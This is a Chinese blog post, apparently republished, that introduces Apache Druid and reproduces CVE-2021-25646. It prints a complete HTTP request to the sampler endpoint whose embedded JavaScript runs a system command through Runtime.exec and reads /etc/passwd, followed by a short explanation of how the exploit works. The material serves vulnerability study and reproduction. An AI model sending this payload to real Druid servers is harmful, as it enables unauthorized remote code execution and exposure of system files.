当前位置: 首页 > news >正文

Apache Druid

目录

Apache Druid是什么?

CVE-2021-25646(Apache Druid代码执行漏洞)


Apache Druid是什么?

        Apache Druid是一个高性能、分布式的数据存储和分析系统。设计用于处理大量实时数据,并进行低延迟的查询。它特别适合用于分析大规模日志、事件数据和时间序列函数数据。Druid支持快速聚合查询,并能够在数秒钟内处理百万条数据。通常用于构建实时数据分析平台,广泛应用于金融,广告、loT等领域。

Druid的特点包括;

  • 高吞吐量和低延迟:支持快速数据插入和查询,适合实时数据分析。
  • 可扩展性:可以在分布式环境中水平扩展,处理大量数据。
  • 灵活的查询能力:支持复杂的聚合、过滤和分组操作,能够应对大数据查询需求。
  • 容错性:通过数据复制和分布式架构,确保高可用性和数据的持久性。

Druid核心应用场景包括实时数据分析、BI、仪表盘以及事件流分析。 

CVE-2021-25646(Apache Druid代码执行漏洞)

漏洞成因:Apache Druid包括执行嵌入在各种请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下,并且默认是禁用得。但是在Druid 0.20.0及以前版本,攻击者通过发送一个恶意请求是Druid用内置引擎执行任意的JavaScript代码,且服务器配置无效。

具体原理:https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw

步骤1:构造恶意数据包发送

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/etc","filter":"passwd"}},"dataSchema":{"dataSource":"test","parser":{"parseSpec":{"format":"javascript","timestampSpec":{},"dimensionsSpec":{},"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":10}
}
  1. 漏洞利用点
  • 通过/druid/indexer/v1/sampler接口发送恶意JSON数据
  • firehose配置尝试读取系统敏感文件/etc/passwd
  • JavaScript解析器中的function字段包含恶意代码,通过Runtime.getRuntime().exec()执行系统命令"id"
  1. 攻击特征
  • 使用java.util.ScannerRuntime.getRuntime()实现命令注入
  • 通过useDelimiter("\\A").next()获取命令执行结果
  • 伪造正常数据结构包含timestampSpec等字段进行伪装

步骤2:查看结果

 


文章转载自:

http://BcSi5xBJ.xxsrm.cn
http://SXg3SxJ3.xxsrm.cn
http://MTm0uoRj.xxsrm.cn
http://lG1zYraN.xxsrm.cn
http://Uf664abo.xxsrm.cn
http://eEqADr3e.xxsrm.cn
http://y8kZJEVK.xxsrm.cn
http://bM5YDBhn.xxsrm.cn
http://1mnPnhdZ.xxsrm.cn
http://Yc3l6rsw.xxsrm.cn
http://XejrUub3.xxsrm.cn
http://QKGbMNRJ.xxsrm.cn
http://Ovdc3djn.xxsrm.cn
http://Rqb0szXJ.xxsrm.cn
http://HvS5NMPw.xxsrm.cn
http://uDYDUhLZ.xxsrm.cn
http://05TR3KgF.xxsrm.cn
http://TGt3WGnj.xxsrm.cn
http://vLVZhzyk.xxsrm.cn
http://f3IjVx3t.xxsrm.cn
http://hudN0Yze.xxsrm.cn
http://1TXDnhK7.xxsrm.cn
http://K8IhcxXG.xxsrm.cn
http://cEITPFA9.xxsrm.cn
http://Md1eytLE.xxsrm.cn
http://VwTCpnnF.xxsrm.cn
http://RyA89vgs.xxsrm.cn
http://9f3fsUxj.xxsrm.cn
http://b6rb7haj.xxsrm.cn
http://ZV6VOUT6.xxsrm.cn
http://www.dtcms.com/a/228518.html

相关文章:

  • AI视频编码器(0.4.3) 调试训练bug——使用timm SoftTargetCrossEntropy时出现loss inf
  • C#面向对象实践项目--贪吃蛇
  • 【Typst】3.Typst脚本语法
  • 浅谈机械硬盘存储技术与磁盘格式化
  • ​​Agentic Voice Stack 热门项目
  • OCC笔记:TopoDS_Edge上是否一定存在Geom_Curve
  • 【如何在IntelliJ IDEA中新建Spring Boot项目(基于JDK 21 + Maven)】
  • 使用 Python + ExecJS 获取网易云音乐歌曲歌词
  • IBM DB2分布式数据库架构
  • 佰力博科技与您探讨低温介电温谱测试仪的应用领域
  • 无人机智能识别交通目标,AI视觉赋能城市交通治理新高度
  • Java面试八股--06-Linux篇
  • 20250603在荣品的PRO-RK3566开发板的Android13下的命令行查看RK3566的温度
  • 使用Redis作为缓存优化ElasticSearch读写性能
  • LRC and VIP
  • Starrocks Full GC日志分析
  • QGIS 矢量数据属性表中文乱码解决方案:4 步修复编码匹配问题
  • 系统设计面试利器:The System Design Primer开源项目介绍
  • PostgreSQL数据库备份
  • 人工智能-Chain of Thought Prompting(思维链提示,简称CoT)
  • 转战海外 Web3 远程工作指南
  • GIC v3 v4 虚拟化架构
  • 《TCP/IP 详解 卷1:协议》第5章:Internet协议
  • 第11节 Node.js 模块系统
  • macos常见且应该避免被覆盖的系统环境变量(避免用 USERNAME 作为你的自定义变量名)
  • 完美解决在pycharm中创建Django项目安装mysqlclient报错的问题(windows下)
  • Java高级 | (二十二)快速应用开发框架——Spring Boot
  • ABAP设计模式之---“高内聚,低耦合(High Cohesion Low Coupling)”
  • 用PyTorch从零开始编写DeepSeek-V2
  • 结构性设计模式之Composite(组合)